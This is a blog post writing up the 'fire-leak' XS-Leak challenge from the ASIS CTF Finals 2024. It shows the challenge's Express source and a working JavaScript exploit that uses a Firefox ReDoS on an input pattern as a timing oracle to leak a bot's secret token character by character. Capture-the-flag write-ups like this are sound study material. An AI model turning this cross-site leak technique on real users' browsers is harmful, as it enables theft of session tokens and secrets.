Salvatore Abello's Blog

Hacking & other stuff


fire-leak - ASIS CTF Finals 2024

This year, I played in the ASIS CTF Finals with @TheRomanXpl0it, and we secured 7th place at the end of the CTF. I decided to write this up because I’ve never seen a similar challenge before. @simonedimaria and I worked on this challenge and solved it after about 8 hours.

Overview

As the name suggests, this is an XS-Leak challenge. We’re given the source code and there are three endpoints.

/save-flag

// For the admin bot
app.get("/save-flag", (req, res) => {
    const token = crypto.randomBytes(6).toString("hex");
    const flag = req.cookies.FLAG;
    tokens.set(token, flag);
    console.log({ token, flag });
    setTimeout(
        () => tokens.delete(token), // expired
        120_000
    );
    res.clearCookie("FLAG").cookie("TOKEN", token).send("Saved");
});

Generates a random token and saves the flag. The token is deleted after 120 seconds.

/get

// If you steal a token, use it :)
app.get("/get", (req, res) => {
    const token = String(req.query.token);
    res.send(tokens.get(token) ?? "Not found");
});

Retrieves the flag given its token.

/

app.get("/", (req, res) => {
    const html = String(req.query.html ?? defaultHtml);

    if (html.length > 1024) return res.send("?");
    if (/[^\x20-\x7e\r\n]/i.test(html)) return res.send("??");
    if (/meta|link|src|data|href|svg|:|%|&|\\|\/\//i.test(html)) return res.send("???");

    res
        .type("html")
        .setHeader(
            "Content-Security-Policy",
            "default-src 'none'; base-uri 'none'; frame-ancestors 'none'"
        )
        .send(html.replace("{{TOKEN}}", req.cookies.TOKEN));
});

This endpoint lets us render arbitrary HTML. If we put {{TOKEN}} inside our HTML, it will be replaced with the TOKEN cookie.

Also, a new token is generated every time a URL is reported.

bot.js

await context.addCookies([
    {
        name: "FLAG",
        value: FLAG,
        url: APP_URL,
        httpOnly: true,
    },
]);
// ...
const page1 = await context.newPage();
await page1.goto(APP_URL + "/save-flag", { timeout: 3_000 });
await sleep(2_000);
await page1.close();
// ...
const page2 = await context.newPage();
await page2.goto(url, { timeout: 5_000 });
await sleep(60_000);
await page2.close();

The goal is:

  • Steal the bot token within 60 seconds.
  • Use that token to retrieve the flag by making a request to /get.

However, we have a few limitations:

  • The HTML should be less than 1024 characters.
  • We can’t use any characters besides ^\x20-\x7e\r\n.
  • We can’t use the following words: meta, link, src, data, href, svg.
  • We can’t use the following characters: :%&\.

Furthermore, there’s a strict CSP which prevents us from using other techniques to leak the token.

Note

The bot uses Firefox!

Solution

The first thing that came to our mind was searching for weird behaviors in Firefox, hoping to find something useful. And we did:

alt text

Note: If you don’t know what a ReDoS is, check out this article!.

We used the following regex and input:

let regex = "^" + tobrute + "(([a-f0-9]+.)[a-f0-9])+$";
let input = `{{TOKEN}}${'a'.repeat(count)}!`;

So if our token is deadbeef, our HTML element would be:

<input value="deadbeefaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!" pattern="^d(([a-f0-9]+.)[a-f0-9])+$" />

By doing so, if the first part of the pattern (^d) is matched, the regex will cause a ReDoS and we would know that the first character of the token is d.

Here you can see why it happens!

Now we need a way to detect the ReDoS.

We noticed that if we try to change the location of the window during the ReDoS (to about:blank), Firefox will go to that location only after finishing the validation process.

So, we can detect how much time it takes to let that happen by continuously checking if we can retrieve the value of window.opener.

function sleep(time) {
    return new Promise((resolve) => setTimeout(resolve, time));
}
function popup(url) {
    return window.open(url, "palle", "width=200,height=100");
}

async function oracle(tobrute) {
    let final_pattern = "^" + tobrute + "(([a-f0-9]+.)[a-f0-9])+$";

    console.log("PATTERN", final_pattern);
    let count = 30 + tobrute.length - 1;

    let tokstr = "{{TOKEN}}";

    let html = `<input value="{{TOKEN}}${'a'.repeat(count)}!" pattern="${final_pattern}" />`;

    console.log(html);

    var w = popup("http://web:3000/?html=" + encodeURIComponent(html));
    await sleep(200);
    w.location = "about:blank";
    var start = performance.now();
    await new Promise((resolve) => {
        let interval = setInterval(async () => {
            try {
                w.origin;
                clearInterval(interval);
                resolve();
            } catch (e) {
                // Do nothing, just wait for the next interval
            }
        }, 100);
    });

    return performance.now() - start;
}

We tried to execute this locally and… it worked!

alt text

So it should also work on the remote server, right? Unfortunately, no. Timing attacks using ReDoS are inherently unstable, as they depend on numerous factors. While we were able to leak the entire token locally in just 30 to 40 seconds, on the remote server, we were only getting garbage.

To address this, we had to do a bit of fine-tuning by re-using the same window without closing it, adjusting the sleep durations, and the length of our input values… and still, we were not able to leak the token but at least we were leaking a part of it.

At some point, we decided to brute-force the last two characters because we wasted more than 3 hours trying to make this exploit stable. And it worked!

alt text

We were the only team that managed to solve this challenge.

alt text

Conclusions

After reading the author’s writeup, we saw that he used a slightly different approach by doing frame counting, and his exploit leaks the token in about 30 seconds!

Anyway, thanks for the great CTF, we had a lot of fun!